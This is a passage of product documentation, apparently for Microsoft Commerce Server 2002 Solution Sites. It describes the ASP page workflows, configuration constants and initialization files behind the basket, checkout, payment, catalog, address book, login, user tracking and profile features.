This figure illustrates the workflow of the basket asp page.

The basket.asp page displays the contents of the user's basket. From the basket.asp page the user can remove a single item, remove all items, change the quantity of a product in their basket, return to the product page, or continue the checkout process through the use of various buttons and links.

The App Default Config settings can be modified to change the user's experience when using the basket feature.

The Add item redirect options property determines the page that is called after users add items to their baskets from the product.asp page. The App Default Config setting for the Add item redirect options property is set to leave users on the product page of the product added to their baskets. The Add item redirect options property can be changed to facilitate other configurations. The following table shows the other configurations for the Add item redirect options property.

Selected Property Value | Friendly Name | Description
0 | REDIRECT_TO_BASKET | Redirects users to the basket.asp page after adding a product to their basket.
1 | REDIRECT_TO_PRODUCT | Leaves the user on the product page of the product that was added to the basket.

For more information about changing the App Default Config settings, see Configuring the App Default Config Resource.

If users have items in their baskets that meet the discount criteria, details on the discount being applied appear in their baskets.

If a user qualifies for a discount, a discount banner may appear at the bottom of the basket.asp page. Some discounts require that the user click the discount banner before the discount is applied; other discounts are automatically applied. Specifying how and when discounts are applied is done in the Campaign Manager module in Commerce Server Business Desk. For more information about the discount banner, see Page Layout Customization for Solution Sites or Creating a Discount.

Initialization

Initialization for the basket feature occurs in the following files:

include\global_main_lib.asp

The InitSitePipelines function is called from the Main subroutine and the returned Pipeline object is set to Application scope as MSCSPipeline.

include\global_siteconfig_lib.asp

The dictPipelines datastructure is used to assign friendly names to the file locations.

Browse Time

The following files display the basket feature:

_additem.asp

Adds the product of a given product ID and variant ID from the given catalog name to the order group. Calls the Analysis_LogAddToBasket subroutine from the include\analysis.asp page. Also calls the ApplyVendorInfo function, which looks up the vendor ID, the vendor qualifier, and the vendor qualifier value for the item. The App Default Config setting for the Add item redirect options property determines if users are sent to the basket.asp page or left on the product page after adding items to their baskets. The default configuration for the Solution Sites leaves users on the product page after they add items to their baskets. The _additem.asp page is called when the Add to Basket button is clicked from the product.asp page.

_delitem.asp

Removes the item at the specified index from the order group. Calls the Analysis_LogRemoveFromBasket subroutine from the analysis.asp page, which removes an item from the user's basket. Returns the user to the basket.asp page, which displays the updated basket. The _delitem.asp page is called when the Remove link is clicked from a line item on the basket.asp page.

_delall.asp

Deletes all the items from the basket. Returns the user to the basket.asp page, which displays the updated empty basket. The _delall.asp page is called when the Remove all link is clicked from the order Subtotal line on the basket.asp page.

_editqty.asp

The user can alter the quantity of any line item by changing the Quantity value and then clicking the Update button. Returns the user to the basket page, which displays the updated order subtotal. This page performs the quantity update by using the Ordergroup object. The _editqty.asp page is called when the Update button is clicked from the basket.asp page.

basket.asp

Displays all the items users have added to their baskets, the quantity of each item, the product code, the product description, the unit price for each item, the total price for each item, the discount applied (if any), a link to remove each item from the order, a link to remove all items from the order, and the order subtotal. The Checkout button at the bottom of the basket.asp page calls either the addrform.asp page or the addrbook.asp page, depending on the App Default Config setting for the Address Book Options property and the user type (registered or anonymous). For more information about the Address Book Options property, see About the Address Management Feature for Solution Sites. The user can reach the basket.asp page at any time by clicking the Basket link from the menu area near the top of the Web page.

See Also

pipeline\basket.pcf

About the Checkout Feature for Solution Sites

About the Payment Options Feature for Solution Sites

About the Catalog Feature for Solution Sites


About the Checkout Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The checkout feature process the order after users have added items to their baskets.

The following figure shows the workflow of the ASP pages involved in the checkout feature.

This figure illustrates the workflow of the ASP pages involved in the checkout feature.

The checkout process begins when the user clicks the Check-out button from the basket.asp page. The default implementations of the Solution Sites have the following page processes:

  1. The basket.asp page calls the address management pages.
  2. Depending on the App Default Config settings pertaining the addressbook feature, users will either enter their bill-to and ship-to addresses on the addrform.asp page or on the addrbook.asp page. The addresses are then set by the _setadrs.asp page, which does not have a user interface.
  3. Users are sent to the pickship.asp page, where they select their shipping method. The shipping method is set by the _setship.asp page, which does not have a user interface.
  4. From the _setship.asp page, the user is redirected to the summary.asp page, where the complete order is displayed for the user to review.
  5. Depending on the App Default Config settings, users will either be redirected to the crdtcard.asp page or the po.asp page to enter their payment information.
  6. On the confirm.asp page users are given order numbers and confirmation that their order was received.

The VerifyWithTotal key is passed between pages in the checkout process to verify that the prices of the items on the orders do not change between the time the products are added to the orders and the time when users actually submit their credit card numbers and when baskets are saved as orders. For example, if the price of an item changed between the time the item was added to a user's basket and the time the order was submitted, the VerifyWithTotal key would display an error message.

Initialization

Initialization for the checkout feature occurs in the following files:

include\global_siteconfig_lib.asp

Included in the global.asa file. The dictPipelines datastructure is used to assign friendly names to the file locations.

Browse Time

The following files display the checkout feature:

addrbook.asp

Allows users to add, delete, or edit addresses from their address books, and to select the shipping and billing address for their current orders. Used only if the App Default Config setting for the Address Book Options property enables the address book. The Select Address button on the addrbook.asp page calls the pickship.asp page.

crdtcard.asp

Displays the page for specifying credit card information. The Submit button calls the crdtcard.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page. The crdtcard.asp page is called when the Check-out button on the summary.asp page is clicked. The crdtcard.asp page can also be reached from the po.asp page if purchase orders are enabled in the App Default Config settings.

confirm.asp

Displays an order number and confirmation that the order was received. For credit card payments, this page is called when the Submit button on the crdtcard.asp page is clicked. For purchase orders, this page is called when the Submit button on the po.asp page is clicked. The Submit button calls the crdtcard.asp page or the po.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

include\payment.asp

Contains functions used on payment feature pages.

pickship.asp

Enables users to select a shipping method. The Check-out button calls the summary.asp page. The pickship.asp page is called when the Select Address button on the addrbook.asp page is clicked.

po.asp

Displays the page for entering the purchase order number in the PO # box. The Submit button calls the po.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

summary.asp

Displays the billing address, shipping address, items ordered, order sub-total, shipping charges, handling charges, tax, and order total. The Check-out button calls the crdtcard.asp page. The summary.asp page is called by the Check-out button on the pickship.asp page.

See Also

About the Address Management Feature for Solution Sites

About the Payment Options Feature for Solution Sites


About the Payment Options Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites have two payment options, credit card payment or purchase orders. The Retail site is configured to enable credit card billing only and the Supplier site is configured to enable purchase orders only. Either of these sites can be configured to enable credit card billing, purchase orders or both.

You use the crdtcard.asp page to enter credit card information, and the po.asp page to enter purchase order information.

The following figure shows the workflow of the crdtcard.asp page.

This figure illustrates the workflow of the crdtcard.asp page.

After the user clicks the Check-out button from the summary.asp page, the crdtcard.asp page is called, which displays a page for editing credit card payment information.

If the Reset button is clicked from the crdtcard.asp page, the form is reset to its original values. If the Submit button, located next to the Reset button, is clicked the crdtcard.asp page is called where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

On the crdtcard.asp page, the Other Payment Options box lists all the payment options for the user. In the default configuration of the Retail site, the only option listed is Credit Card. In the default configuration of the Supplier site, both Credit Card and Purchase Order are listed. Either of these configurations can be changed to enable credit card payment, purchase orders, or both, by changing the App Default Config setting for the Payment options property.

The App Default Config setting for the Payment options property is set to enable credit card billing only on the Retail site, and purchase orders only on the Supplier site. The Payment options property can be changed to facilitate other configurations, as shown in the following table.

Selected Property Value | Friendly Name | Description
1 | CREDIT_CARD_PAYMENT_OPTION | Default setting. Enables credit card billing only.
4 | PURCHASE_ORDER_PAYMENT_OPTION | Enables purchase order billing only.
5 | CREDIT_CARD_PAYMENT_OPTION BitOr PURCHASE_ORDER_PAYMENT_OPTION | Enables credit card and purchase order billing.

For more information about changing App Default Config settings, see Configuring the App Default Config Resource.

The payment option is one part of the checkout feature. For more information about the checkout feature, see Checkout.

Initialization

Initialization for the payment feature occurs in the following files:

include\global_creditcards_lib.asp

Initializes credit card payment information. Included in the global.asa file.

include\global_forms_lib.asp

Contains functions used to retrieve form and field definitions, and profile attributes. Included in the global.asa file.

include\global_siteconfig_lib.asp

The payment pages are assigned friendly names by the GetSitePages function.

Browse Time

The following files display the payment feature:

confirm.asp

Displays an order number and confirmation that the order was received. For credit card payments, this page is called when the Submit button on the crdtcard.asp page is clicked. For purchase orders, this page is called when the Submit button on the po.asp page is clicked. The Submit button calls the crdtcard.asp or po.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

crdtcard.asp

Displays the page for editing credit card information. Called when the Check-out button on the summary.asp page is clicked on the Retail site. The Submit button calls the crdtcard.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

include\payment.asp

Contains functions used on payment feature pages and runs the checkout pipeline file, checkout.pcf.

po.asp

Displays the page for entering the purchase order number in the PO # box. The Submit button calls the po.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

See Also

About the Checkout Feature for Solution Sites


About the Catalog Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

A catalog is a way of organizing the products you want to sell. The Solution Sites provide a mechanism for browsing and searching through single or multiple Commerce Server catalogs. They also allow users to view detailed information on an individual product and provide a link so users can add the product to their baskets.

Both the Retail and Supplier Solution Sites are packaged without any catalogs installed. None of the catalog-related features of the Solution Sites will work until a catalog is either created or imported for the application through Commerce Server Business Desk. You can use a sample catalog, which is provided in the Commerce Server SDK, if you do not have a catalog from which to work. The sample catalog is an XML file.

The topic “Importing an XML Catalog File” in Commerce Server 2002 Help explains how to import the AdvWorks.xml catalog file. The full path to this file is \<Computer Name><Drive>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction\AdvWorksCatalog.xml. Copy this file to the root folder of your computer to make it easier to import.

The Solution Sites rely heavily on caching to improve performance in the catalog. See Catalog Caching for more information about caching catalog data.

Note

  • The catalog pages were written assuming that every product in the catalog has a property called name. The Commerce Server Product Catalog System does not enforce this.

The Solution Sites use the Commerce Server Catalogset object to determine which catalogs are available to a user. The Solution Sites distinguish between a catalog set for anonymous users and a catalog set for authenticated users. Catalog sets are managed through Business Desk.

Initialization

Initialization for the product catalog feature occurs in the following files:

include\global_catalog_lib.asp

The Main subroutine calls three functions in this file to initialize three application variables for the catalog feature. The InitCatalogManager function is called and the returned CatalogManager object is set to Application scope as MSCSCatalogManager. The dictGetCatalogAttributes function is called and the returned dictionary is set to Application scope as MSCSCatalogAttribs. This dictionary is used as a cache for the CatalogManager object properties. The InitCatalogSets function is called and the returned dictionary is set to Application scope as MSCSCatalogSets.
See Caching Solution Sites for information about initialization of the catalog caches.

Browse Time

The user locates products through the search and browsing catalog features. The menu pane provides two types of search features, full-text search and specification search. Both the template\menu.asp and default.asp pages display either a list of searchable categories if there is only one catalog, or a list of catalogs if there is more than one catalog. Either page can be used as a starting point for browsing the application. Most of the browse-time catalog functionality is in the include\catalog.asp file.

Catalog Search Features

The following files display the catalog search features:

template\menu.asp

The htmRenderSearchSection function creates a text box, a search button, and a link to Advanced search. When the user clicks the search button, the user is redirected to the search.asp page with the contents of the text box posted to that page. When the user clicks the Advanced link, the user is redirected to the srchdept.asp page.

search.asp

The bFullTextResultsAreCached function checks for a cached result for the query text. If there is no cached result, the rsFreeTextSearch function constructs a query for the MSCSCatalogManager.FreeTextSearch method and returns a recordset of the results. The RenderSearchResults function converts the recordset into HTML. The CacheFragment function caches the rendered page.

srchdept.asp

This page selects the category that will be searched. Specification searches are limited to a single category.
The bIsSearchDeptPageCached function checks for a cached page with the catalog set for the user. If there is not a cached page, the arrSearchDept function creates an array of strings; each string is a catalog name separated from a category name by an arbitrary string token. The htmRenderSearchDeptPageContent function renders this array as a list of links to the stepsrch.asp page. Each link contains the catalog and category data for the search.

stepsrch.asp

This page implements the specification search for the catalog and category selected on the srchdept.asp page. When the number of matches is less than the value of the SEARCH_THRESHOLD constant, or the user has previously pressed the View Results button, the matches will be listed; otherwise the page displays a list box for each searchable property in the category. Each list box will list all the values for that property in the category. Users can click the View Results button to display the list or the users can refine their search by changing the values selected.
The PrepareSpecificationSearch function builds the query from the user's selections on the page. The first time the page is displayed there is no user input, so a search is performed with an empty specification search clause. This returns the number of items and the properties and values in the category. When the search is refined the user's selections are posted to this page and the search is run again. The search results are rendered by the htmRenderStepSearchPageContent function.

Catalog Browse Feature

The following files display the catalog browse feature:

template\menu.asp

The PrepareCatalogSection function returns a recordset of the catalogs available to the user and the number of catalogs in the recordset. The htmRenderCatalogSection function tests for the number of catalogs available to the user. If there is only one catalog it displays a list of the root categories in the catalog. If there are multiple catalogs it displays a list of the catalogs. In either case the links in the list take the user to the category.asp page.

default.asp

The mscsUserCatalogsetID function returns the CatalogSetID variable. This is used as a key for the page cache. If there is not a cached copy of this page the PrepareDefaultPage function uses the CatalogSetID variable to retrieve a recordset of the catalogs available to the user. The htmRenderDefaultPage function tests for the number of catalogs in the rsCatalogs recordset. If there is only one catalog it calls the htmRenderCategoryPage function to display a list of the root categories in the catalog, and if the number of categories is below a threshold, adds subcategories and products to the list. If there are multiple catalogs it calls the htmRenderCatalogList function to display a list of the catalogs. Each catalog or category is displayed on the page as a link that takes the user to the category.asp page.

category.asp

This page displays lists of category or product links. The FetchCategoryData subroutine sets several page level variables from the Request object's QueryString property, primarily the catalog and category names. The page obtains the Catalog object from the CatalogManager object and calls the mscsGetCategoryObject function to get the Category object. It calls the mscsGetProductList function to get a recordset of the products in the category. This function supports paging, so it will return a subset of all the products, depending on user input.
The htmCategoryHTML function generates the HTML for the page from the data from the previous functions. This function will display all the subcategories and products in the category. A category will typically contain only subcategories or products, but not both. The subcategories will be displayed as links to the category.asp page, which will display the subcategory. The products will be displayed as links to the product.asp page.

product.asp

This page displays product details. The page uses calls to the GetRequestString function to retrieve the productID and variantID from the Request object's QueryString property. After checking the cache, the page gets the Catalog object from the MSCSCatalogManager object, and then the Product object from the Catalog object. The page calls methods on the Product object to get a recordset of product properties and a recordset of variants. The page renders the product properties as an HTML fragment in the htmProduct variable. It calls the RenderForm function to build an HTML form containing the list of variants (if available), hidden text defining the product, a text box for the quantity and an Add to Basket button. The HTML fragments are concatenated into the htmPageContent variable. When the user enters a quantity into the text box and clicks the Add to Basket button the form is submitted to the _additem.asp page.

See Also

include\catalog.asp


About the Address Management Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Storing user's addresses allows for a better repeat-shopper experience. Registered users can store numerous addresses in the address book feature of the Solution Sites if the address book feature is set for read and write access in the App Default Config settings. The address book feature stores addresses that can be used as ship-to or bill-to addresses. The addresses are entered on the newaddr.asp page when the address book feature is enabled. These addresses are available whenever registered users login to the Web site in the future.

For Web sites that have the address book feature enabled with read-only access, registered users can select from a list of previously entered addresses, but they may not add new addresses or modify existing addresses.

For Web sites that do not have the address book feature enabled, and for anonymous users, addresses are not stored for future use. These users must enter their bill-to and ship-to information every time they place an order on the addrform.asp page.

The following figure shows the workflow of the addrbook.asp page.

This figure illustrates the workflow for the addressbook.asp page.

For users that have read and write access to their address books, after the Check-out button is clicked on the basket.asp page, the addrbook.asp page is called, which displays a list of all the addresses in the address book for the user. If users have addresses stored in their address books, they can select one of the addresses from the address book by selecting one of the radio buttons, or they can add a new address by clicking the link Click here to add an address.

If the radio button for an existing address is selected and the user clicks the Select Address button, the pickship.asp page is called. If the user clears the check box indicating that the billing address is the same as the shipping address, and instead clicks the Select Address button, the addrbook.asp page is called again so the user can select the bill-to address.

If the Edit link is clicked, the newaddr.asp page is called, which enables users to edit their selected addresses.

If the Delete link is clicked the newaddr.asp page is called, the address is removed, and the user is immediately redirected to the updated addrbook.asp page.

Users with no addresses stored in their address book only have one option—to click the Click here to add an address link to add a new address. If the user clicks the Click here to add an address link, the newaddr.asp page is called. After the user enters the new address information and clicks the Submit button, the addrbook.asp page appears with the new address.

For users that have read-only access to their address books, after the Check-out button is clicked on the basket.asp page, the addrbook.asp page is called, which displays a list of all the available ship-to addresses in the address book for the users. Users can select one of these addresses by selecting one of the radio buttons. These users do not have the ability to edit, delete, or add a new address to their address books.

For users that do not have the address book feature enabled, after the Check-out button is clicked on the basket.asp page, the addrform.asp page is called. The addrform.asp page displays an empty form in which users must enter their ship-to and bill-to addresses. When the Submit button is clicked, the user is redirected to the pickship.asp page after validation of the address.

The App Default Config setting for the Address Book Options property is set to enable the use of the address book. The Address Book Options property can be changed to facilitate other configurations. The following table shows the available configurations.

Selected Property Value | Friendly Name | Description
0 | ADDRESSBOOK_DISABLED | Disables the use of the address book.
1 | ADDRESSBOOK_READONLY | Read-only access. Users can select from a list of existing addresses, but cannot add new addresses. This is useful for companies that have a predefined list of approved delivery addresses.
2 | ADDRESSBOOK_READWRITE | Read-write access. Users can add and modify the addresses in their own address books.

For more information about changing App Default Config settings, see Configuring the App Default Config Resource.

Initialization

Initialization for the address management features occur in the following file:

include\global_siteconfig_lib.asp

The address book pages are assigned friendly names by the GetSitePages function.

include\global_addressbook_lib.asp

Contains functions and form definitions used by the address management pages. Contains commented code that illustrates how to use alternative address formatting to accommodate international addresses.

Browse Time

The following files display the address management features:

addrbook.asp

Displays the page representing the user's addressbook. Called when the Check-out button is clicked from the basket.asp page if the user is a registered user. The App Default Config value for AddressBookOptions is set to ADDRESSBOOK_READONLY or ADDRESSBOOK_READWRITE.

addrform.asp

Displays a form for users to specify their addresses. Addresses entered on this page are not added to an address book collection. After the address is validated, the address is saved to the order group and the users are redirected to the summary.asp page. Called when the Check-out button is clicked from the basket.asp page if the users are anonymous or if the App Default Config value for AddressBookOptions is ADDRESSBOOK_DISABLED.

newaddr.asp

Displays the page for adding a new address to the user's address book. Called when the Click here to add an address, Edit, or Delete links are clicked from addrbook.asp page.

_setadrs.asp

Takes an address selected from the address book and saves it to the OrderGroup object. Redirects the user to the summary.asp page.

See Also

include\form_lib.asp

About the Checkout Feature for Solution Sites


About the Login Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in the Login Folder provide most of the functionality of the login/logoff process.

Initialization

Initialization for the login feature occurs in the following file:

include\global_main_lib.asp

This file initializes the AppConfig object, which provides access to the Form login options property of the App Default Config Site resource in Commerce Server Manager. The login option constants are defined in the AppConsts 1.0 Type Library.
The following table lists the login options.
Login Option | Value | Description
FORM_LOGIN_NOT_SUPPORTED | 0 | Login is not supported.
FORCE_LOGIN_ON_ENTRANCE | 1 | Login is required to enter the site.
LOGIN_OPTIONAL_ON_ENTRANCE | 2 | Login is optional on entering the site.
FORCE_LOGIN_ON_PURCHASE | 5 | Login is required at the time of purchase (when a user visits a page in the Purchase pageset).
LOGIN_OPTIONAL_ANY_TIME | 6 | Login is optional at any time. This is the default for the Retail site.
USE_IIS_AUTH | 7 | Authentication is through Internet Information Services (IIS) using Basic or Integrated Windows authentication. This is the default for the Supplier site.

Browse Time

The following files display the login feature:

login\login.asp

The login form is rendered and validated using routines from the include\form_lib.asp file. As with other pages that use this library, the login form acts as both a form presentation page and a form acceptor page. On initial access, the page is rendered with an empty login form. On submittal, validation and (potentially) login occurs.
The login form is displayed using the template\no_menu.asp file. It contains User name and Password input text boxes. Additionally, if the user is anonymous and the login option is LOGIN_OPTIONAL_ON_ENTRANCE, a link to entering the site as an anonymous user (login\_guest.asp) is displayed. If registration is enabled on the site, a link to the registration page (login\newuser.asp) is rendered.
The following figure shows a sample login page for a site with registration enabled, and with the login option equal to LOGIN_OPTIONAL_ON_ENTRANCE. The user supplied invalid login credentials, which resulted in the red warning message.

Validation
This page first determines whether the login option is FORM_LOGIN_NOT_SUPPORTED or USE_IIS_AUTH. If either one, the user is immediately redirected to the home page (default.asp), as login is not logical in this context. By default, the login option for the Supplier site is USE_IIS_AUTH. Thus, form login is disabled for the Supplier site and the following discussion in not applicable. For information about enabling self registration for the Supplier site, see Enabling Self Registration for the Supplier Solution Site.
For all other login options, whether the page was posted or submitted is determined, and a test session cookie is written.
When the user submits the login form, the profile associated with the user is retrieved and used to validate the password (ValidateSubmittedLoginData). If the user does not have a profile or the password is not valid, the login form is redisplayed with a warning message. If the password is valid, the registered user ID is retrieved from the profile.
Post-validation
If the user is shopping as an anonymous user and then decides to register (or was forced to register because the login option equals FORCE_LOGIN_ON_PURCHASE), the contents of the user's basket are transferred to a new basket associated with the registered user ID (MoveBasketItems).
If the user allows session cookies, both Auth and Profile tickets are set in individual cookies. The Auth ticket is set to indicate the user is a logged in registered user. The Profile ticket is set so that when the user starts a new browser session, the same user ID is used (since this is only a Profile ticket, the user is not logged in). The site recognizes that the user ID is associated with a registered account and takes the user to the welcome back page where they can log in again. If the site is part of a Web farm, the date the profile for the user was last changed is set into a cookie. For more information, see About the Profiles Feature for Solution Sites.
If the user does not allow session cookies, an Auth ticket is set into a URL query string. A Profile ticket is not set since it would be unavailable when the user starts a new browser session. There is no need to set the date the profile for the user was last changed since, with cookies disabled, the profile for the user is automatically retrieved from the Profile store.
Finally, upon successful login, the user is redirected to the home page.

login\newuser.asp

This page is built to be self-posting and validating. On initial access, the page is rendered with an empty registration form. On submittal, validation and (potentially) profile creation and login occurs.
The registration process is similar to the login process. If registration is not supported on the site or the login option is either FORM_LOGIN_NOT_SUPPORTED or USE_IIS_AUTH, the user is immediately redirected to the home page.
For all other cases, whether the page was posted or submitted is determined, and a test session cookie is written. The registration form is displayed using the template\no_menu.asp file and contains User name, Password, and Confirm password input text boxes.
When the user submits the registration form, the submitted user name is checked against previous registered users to determine if the user name already exists (iValidateSubmittedRegistrationData). If it does, or if the password is syntactically invalid or does not match the confirmation password, the page is redisplayed with a warning message.
If you modify the code to change the minimum/maximum password and user name requirements, the Business Desk and Partner/Customer Services sections of the site must be updated to match.
Upon successful submission, if the user had a previous anonymous profile, it is changed to registered profile (mscsTransferGuestUserProfile). If not, a new profile is created and marked as a registered profile (mscsNewRegisteredUserProfile).
If the user allows session cookies, both Auth and Profile tickets are set in individual cookies. If the user does not allow session cookies, only the Auth ticket is set into a URL query string. For more information, see the discussion in the previous section (login\login.asp).
Finally, upon successful registration, the user is redirected to the home page as a new user. By default, self-registration is disabled for the Supplier Solution site. For information about enabling self-registration for the Supplier site, see Enabling Self-Registration for the Supplier Solution Site.

login\_guest.asp

This page redirects the anonymous user to the home page. If the user already has an Auth ticket, it is removed (effectively logging the user out). If profiling is allowed on the site, a new profile is created for the anonymous user (GetNewGuestUserProfile). Either way, a user ID is generated and set into a Profile ticket.

login\logoff.asp

Running this page logs a user off your site. Depending on the login mode and the browser, the user may have to perform additional steps to be completely and safely logged off your site. This page can also offer links to re-login, register as a new user, or enter the site as a new anonymous user, as appropriate.

See Also

Page-Level Access Control for Solution Sites

About the Profiles Feature for Solution Sites

About the User Tracking Feature for Solution Sites

Global Constants


About the User Tracking Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Users of a Web site are classified by user type and access type, and tracked through the use of a unique user ID (anonymous and authenticated users only). Profiles may be associated with users depending on site configuration settings. When a user visits a page, the GetUserInfo subroutine in the file include\setupenv.asp retrieves the user ID and sets the user type and access type. This information is used to determine whether page access is allowed. For more information about page access, see Authentication. The user ID is written to the Web server log file and used to identify the user by the Commerce Server Business Analytics System.

The following table lists the user types. This value is stored in the m_UserType variable.

User Type | Value | Description
ANON_USER | 1 | An anonymous user. The user is unidentified, does not have a ticket, and is not tracked (is not recognized on return visits).
GUEST_USER | 2 | An anonymous user. The user has not registered but has a GUEST_TICKET. The user may or may not have a profile depending on site options. The user is tracked during the current session and, if cookies are enabled on the client and the site, the user is tracked between sessions.
AUTH_USER | 4 | An authenticated user. The user is registered, authenticated (access type equals either IIS_AUTH or TICKET_AUTH), and is tracked.

The following table lists the access types. This value is stored in the m_UserAccessType variable.

Access Type | Value | Description
GUEST_VISIT | 1 | A visit by a GUEST_USER authenticated using the AuthManager object and a GUEST_TICKET.
IIS_AUTH | 2 | A visit by an AUTH_USER authenticated to Internet Information Services (i_FormLoginOptions = USE_IIS_AUTH) using either Basic or Integrated Windows authentication.
TICKET_AUTH | 3 | A visit by an AUTH_USER authenticated using the AuthManager object and an AUTH_TICKET.
ANON_VISIT | 5 | A visit by an ANON_USER.

The Retail site stores the user ID in a ticket, which is a set of property name/value pairs placed in a cookie (if cookies are enabled on the client and the site) or a URL query string (URL mode). The user ID is also stored in the profile of the user if profiling is enabled. For more information about tickets, see Authentication Tickets.

The following table lists the two ticket types, their values, the ticket names (cookie/URL key name), and the constants defined for the ticket names.

Type | Value | Name | Name Constant | Description
GUEST_TICKET | 1 | MSCSProfile | GUEST_TICKET_NAME | A ticket for an anonymous user, which contains a unique user ID.
AUTH_TICKET | 2 | MSCSAuth | AUTH_TICKET_NAME | A ticket for an authenticated user, which contains a unique user ID, the last login time for the user, and a time window of validity.

The user ID is written to the Web server log file either as part of the cookie or the URL query string. The Commerce Server Business Analytics System retrieves the user ID from the cookie when the Web log file is imported by the Web server log file Data Transformation Service (DTS) task. If URL mode is enabled, users may not be correctly identified and several Analysis reports may be incorrect. A PERL script is available that pre-processes the Web log file so that the user ID is correctly imported when using URL mode. For more information about obtaining the PERL script, see the Commerce Server Web site.

The following table lists the constants, used for the iSiteTicketOptions property of the App Default Config resource, that determine whether the site uses cookie or URL mode to store the ticket. If the site is set to use cookie mode but cookies are disabled on the client, the site uses URL mode.

Type | Value | Description
PUT_TICKET_IN_URL | 1 | Uses URL mode.
PUT_TICKET_IN_COOKIE | 2 | Uses cookie mode.

The following table lists the constants that determine where the AuthManager object places the ticket.

Type | Value | Description
WRITE_TICKET_TO_COOKIE | -1 | Writes the ticket to a cookie.
WRITE_TICKET_TO_URL | 0 | Writes the ticket to a URL query string.

The previous constants are defined in the AppConsts 1.0 Type Library.

The Supplier site uses Internet Information Services (IIS) authentication. In this mode, the user name is stored in the AUTH_USER variable of the ServerVariables collection of the Request object. The user name is used to retrieve the profile of the user, which contains the user ID.

Initialization

Initialization for the User Tracking feature occurs in the following file:

include\setupenv.asp

This file calls the GetAuthManagerObject function in the include\std_access_lib.asp file to create the AuthManager object, which is used to set and retrieve the tickets in the Retail site.

Browse Time

The following files are used for User Tracking:

login\_guest.asp

login\login.asp

login\newuser.asp

The ticket is set into either a cookie or a URL query string by routines in these files and by the EnsureAccess subroutine.

include\std_access_lib.asp

The user ID is retrieved from the ticket or the ServerVariables collection by the GetUserInfo subroutine in this file. If the user has both a GUEST_TICKET and an AUTH_TICKET, the AUTH_TICKET takes precedence.

include\std_url_lib.asp

The ticket location is retrieved by the GetTicketLocation function in this file.

See Also

About the Profiles Feature for Solution Sites

Page-Level Access Control for Solution Sites

About the Login Feature for Solution sites

Global Constants

AuthManager Object


About the Profiles Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

A profile is a set of characteristics that define a business-related entity. The Solution Sites use UserObject, Organization, and Address profiles. The UserObject profile contains personal information about the user, logon credentials, and catalog set information. For the Retail Solution Site, profiles are stored in a SQL Server database. For the Supplier Solution Site, an Active Directory store is also used. The storage locations are collectively referred to as the Profiles store.

The Solution Sites have a feature called Customer Services that allows registered users to view and modify their own profile. The Solution Sites can also expose a feature called Partner Services that allows delegated administrators of an organization to manage the profiles of members of their organization.

In the Retail site, all registered users have a profile. Whether anonymous users have profiles is optional; however, this feature is enabled by default. To disable anonymous user profiling, set the Site privacy options (i_SitePrivacyOptions) property to 2 (TRACK_GUEST_VISITS) in the App Default Config Site resource in Commerce Server Manager. This property is checked before creating any new anonymous profiles (GetNewGuestUserProfile).

The Supplier site only allows registered users, so each user and organization must have a profile. Typically, the site administrator creates the Organization profile and a UserObject profile for a delegated administrator through Commerce Server Business Desk. The delegated administrator then creates the profiles for members of the organization.

Web farm issues

In a Web farm scenario, each server provides a local profile cache. The value of the user's profile (UserObject profile) in a particular cache can become outdated if the profile was changed on a different server. In order for the server to recognize that the user's profile has changed, a last updated timestamp is set in both the user's profile (in the Profiles store) and in a cookie for the user, when the profile is created and updated (UpdateUserProfile).

When a user visits a server in the Web farm, the timestamp in the profile in the local cache is checked against the timestamp in the cookie (GetCurrentUserProfile). If they are not equal, the profile is retrieved from the Profiles store (using the GetInfo method of the IADs interface), bypassing the local cache. If cookies are not enabled, the cache is always bypassed, because there is no reliable way of tracking the last updated time due to Back button, page refresh, and other issues.

The lookup of Address profiles always bypasses the cache because they are accessed infrequently and there is potentially a large number of these profiles to track. Organization profile lookups bypass the cache on an as-needed basis depending on the likeliness of the data in the profile changing.

Even with the timestamp solution, there are potential cache coherency issues with the profiles. For instance, if a user's profile, which is currently cached, is changed from the Business or Partner Desk on a different computer by a different user, the sites will not know that the cache is out of date. To mitigate this, the Solution Sites call the GetInfo method upon login. If this level of accuracy is not acceptable, the Solution Sites include the m_iGlobalProfileLookUpOption variable, declared in the file include\setupenv.asp, which when set always forces a GetInfo method call to retrieve the profile from the Profiles store.

Initialization

Initialization for the profiling feature occurs in the following files:

include\global_data_lib.asp

The BusinessDataAdmin object is created, connected to the Profiles store, and returned by the oGetBizDataObject function defined in this file.

include\global_profile_lib.asp

The ProfileService object is created, initialized, and returned by the InitProfileService function in this file. To increase performance, all the properties of all the profile types are put into a global Dictionary object by the dictGetProfileSchemaForAllProfileTypes function. The properties are obtained by parsing the XML Data Reduced (XDR) schema for the profiles.

include\global_siteconfig_lib.asp

